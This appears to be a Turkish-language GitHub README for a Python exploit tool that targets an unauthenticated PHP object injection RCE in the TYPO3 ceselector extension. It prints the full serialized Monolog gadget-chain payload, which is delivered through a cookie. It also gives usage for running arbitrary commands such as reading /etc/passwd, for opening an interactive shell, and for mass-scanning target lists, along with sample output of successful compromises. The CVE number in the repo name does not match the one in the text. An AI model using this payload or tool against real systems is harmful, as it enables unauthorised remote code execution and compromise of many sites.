xxconi/CVE-2026-46275
GitHub: xxconi/CVE-2026-46275
Stars: 0 | Forks: 0
# CVE-2026-46725 — TYPO3 ceselector Extension RCE





## 📋 İçindekiler
- [Zafiyet Hakkında](#-zafiyet-hakkında)
- [Teknik Detaylar](#-teknik-detaylar)
- [Gereksinimler](#-gereksinimler)
- [Kurulum](#-kurulum)
- [Kullanım](#-kullanım)
- [Örnekler](#-örnekler)
- [Çıktı Formatı](#-çıktı-formatı)
- [Nasıl Çalışır](#-nasıl-çalışır)
- [Referanslar](#-referanslar)
- [Yasal Uyarı](#-yasal-uyarı)
## 🔍 Zafiyet Hakkında
| Alan | Detay |
|------|-------|
| **CVE ID** | CVE-2026-46725 |
| **Ürün** | TYPO3 ceselector Extension (`mmc/ceselector`) |
| **Etkilenen Sürüm** | `<= 1.1.3` |
| **Zafiyet Türü** | Insecure Deserialization (PHP Object Injection) |
| **CVSS Skoru** | 9.8 Critical |
| **CVSS Vektörü** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` |
| **CWE** | CWE-502 (Deserialization of Untrusted Data) |
| **EPSS Skoru** | 0.0046 (%64.3 percentile) |
| **Kimlik Doğrulama** | Gerekmez (Unauthenticated) |
| **Etki** | Full RCE — Sistem tam kontrolü |
| **Araştırmacı** | DhiyaneshDk |
### Açıklama
TYPO3 `ceselector` extension'ı, `T3_ceselector_*` adlı cookie değerini herhangi bir doğrulama yapmadan doğrudan `unserialize()` fonksiyonuna geçirmektedir. Saldırgan, bu cookie'ye özel hazırlanmış bir **PHP Object Injection** payload'ı yerleştirerek sunucuda keyfi komut çalıştırabilir.
## 🔧 Teknik Detaylar
### Saldırı Akışı
1. GET / → Sunucu Set-Cookie: T3_ceselector_= döner
2. GET / → Cookie: T3_ceselector_=
└─ PHP unserialize() tetiklenir
└─ Monolog Gadget Chain çalışır
└─ system("id") çıktısı response'a yansır
### Gadget Chain
Monolog\Handler\GroupHandler
└─ Monolog\Handler\BufferHandler
└─ Monolog\LogRecord (buffer)
└─ processors: [get_object_vars, end, system]
└─ system("") ← RCE
### Payload Yapısı
O:28:"Monolog\Handler\GroupHandler":1:{
s:11:"*handlers";a:1:{
i:0;O:29:"Monolog\Handler\BufferHandler":6:{
s:10:"*handler";r:3;
s:13:"*bufferSize";i:1;
s:14:"*bufferLimit";i:0;
s:9:"*buffer";a:1:{
i:0;O:17:"Monolog\LogRecord":2:{
s:5:"level";E:19:"Monolog\Level:Debug";
s:5:"mixed";s:2:"id"; ← OS komutu buraya
}
}
s:14:"*initialized";b:1;
s:13:"*processors";a:3:{
i:0;s:15:"get_object_vars";
i:1;s:3:"end";
i:2;s:6:"system"; ← sink
}
}
}
}
## 📦 Gereksinimler
- Python **3.8+**
- `requests` kütüphanesi
Python >= 3.8
requests >= 2.28.0
## ⚙️ Kurulum
# Repoyu klonla
git clone https://github.com/example/CVE-2026-46725
cd CVE-2026-46725
# Bağımlılıkları yükle
pip install requests
# veya requirements.txt ile
pip install -r requirements.txt
**requirements.txt**
requests>=2.28.0
urllib3>=1.26.0
## 🚀 Kullanım
usage: CVE-2026-46725 [-h] (-u URL | -l FILE) [-c CMD] [-i]
[-t N] [--timeout S] [--proxy URL]
[-o FILE] [-v] [--no-color]
options:
Hedef:
-u, --url URL Tek hedef URL
-l, --list FILE Hedef listesi (satır başı URL)
Exploit:
-c, --cmd CMD Çalıştırılacak OS komutu (varsayılan: id)
-i, --interactive Başarılı exploit sonrası interaktif shell aç
Tarama:
-t, --threads N Thread sayısı (varsayılan: 10)
--timeout S Timeout saniye (varsayılan: 15)
--proxy URL Proxy (örn: http://127.0.0.1:8080)
Çıktı:
-o, --output FILE Sonuç dosyası
-v, --verbose Ayrıntılı çıktı
--no-color Renksiz çıktı
## 📌 Örnekler
### Tek Hedef — Temel Kullanım
python CVE-2026-46725.py -u https://typo3-site.com
### Özel Komut Çalıştır
python CVE-2026-46725.py -u https://typo3-site.com -c "whoami"
python CVE-2026-46725.py -u https://typo3-site.com -c "cat /etc/passwd"
python CVE-2026-46725.py -u https://typo3-site.com -c "uname -a"
### İnteraktif Shell
python CVE-2026-46725.py -u https://typo3-site.com --interactive
typo3@ceselector $ id
│ uid=33(www-data) gid=33(www-data) groups=33(www-data)
typo3@ceselector $ uname -a
│ Linux web01 5.15.0-91-generic #101-Ubuntu SMP x86_64 GNU/Linux
typo3@ceselector $ pwd
│ /var/www/html
typo3@ceselector $ exit
### Toplu Tarama
# 20 thread ile tara, sonuçları kaydet
python CVE-2026-46725.py -l targets.txt -t 20 -o results.txt
# 30 thread, özel komut
python CVE-2026-46725.py -l targets.txt -t 30 -c "id"
### Proxy ile (Burp Suite)
python CVE-2026-46725.py -u https://typo3-site.com \
--proxy http://127.0.0.1:8080 -v
### targets.txt Formatı
https://site1.com
https://site2.com
http://site3.com
site4.com
## 📊 Çıktı Formatı
### Terminal Çıktısı
① TYPO3 & ceselector Tespit
────────────────────────────────────────────────────
· TYPO3 ✓ Tespit edildi
· ceselector ✓ Aktif
· Cookie Adı T3_ceselector_48291
· TYPO3 Sürüm 12.4.3
② Payload Hazırlanıyor
────────────────────────────────────────────────────
· Teknik PHP Object Injection → Monolog Gadget Chain
· Gadget Monolog\Handler\GroupHandler
· Sink system()
· Komut id
④ RCE Çıktısı
────────────────────────────────────────────────────
┌─ RCE ÇIKTISI ───────────────────────────────────
│ uid=33(www-data) gid=33(www-data) groups=33(www-data)
└─────────────────────────────────────────────────
### Kayıt Dosyası (`results.txt`)
============================================================
CVE-2026-46725 — TYPO3 ceselector RCE
Tarih: 2026-05-26 17:30:00
============================================================
[+] RCE ALINAN HEDEFLER (2)
----------------------------------------
URL : https://typo3-site.com
Sürüm : 12.4.3
Cookie : T3_ceselector_48291
Komut : id
Çıktı : uid=33(www-data) gid=33(www-data) groups=33(www-data)
## 🔬 Nasıl Çalışır
┌─────────────────────────────────────────────────────────┐
│ EXPLOIT AKIŞI │
├─────────────────────────────────────────────────────────┤
│ │
│ 1. TESPIT │
│ GET / ──────────────────────► TYPO3 Sunucu │
│ ◄──── Set-Cookie: T3_ceselector_XXXXX ───── │
│ │
│ 2. PAYLOAD HAZIRLAMA │
│ build_payload("id") │
│ └─ Monolog gadget chain URL-encode edilir │
│ │
│ 3. EXPLOIT │
│ GET / │
│ Cookie: T3_ceselector_XXXXX=O:28:"Monolog... │
│ ──────────────────────► unserialize() │
│ └─ __destruct() │
│ └─ system("id") │
│ ◄──── uid=33(www-data) gid=33(www-data) ─── │
│ │
│ 4. DOĞRULAMA │
│ regex: uid=\d+\([a-z_][a-z0-9_-]*\)\s+gid=... │
│ │
└─────────────────────────────────────────────────────────┘
## 📚 Referanslar
- [TYPO3 Security Advisory TYPO3-EXT-SA-2026-001](https://typo3.org/security/advisory/typo3-ext-sa-2026-001)
- [Packagist — mmc/ceselector](https://packagist.org/packages/mmc/ceselector)
- [CWE-502: Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)
- [CVSS 3.1 Calculator](https://www.first.org/cvss/calculator/3.1)
## ⚖️ Yasal Uyarı
**CVE-2026-46725** | TYPO3 ceselector RCE | Python Exploit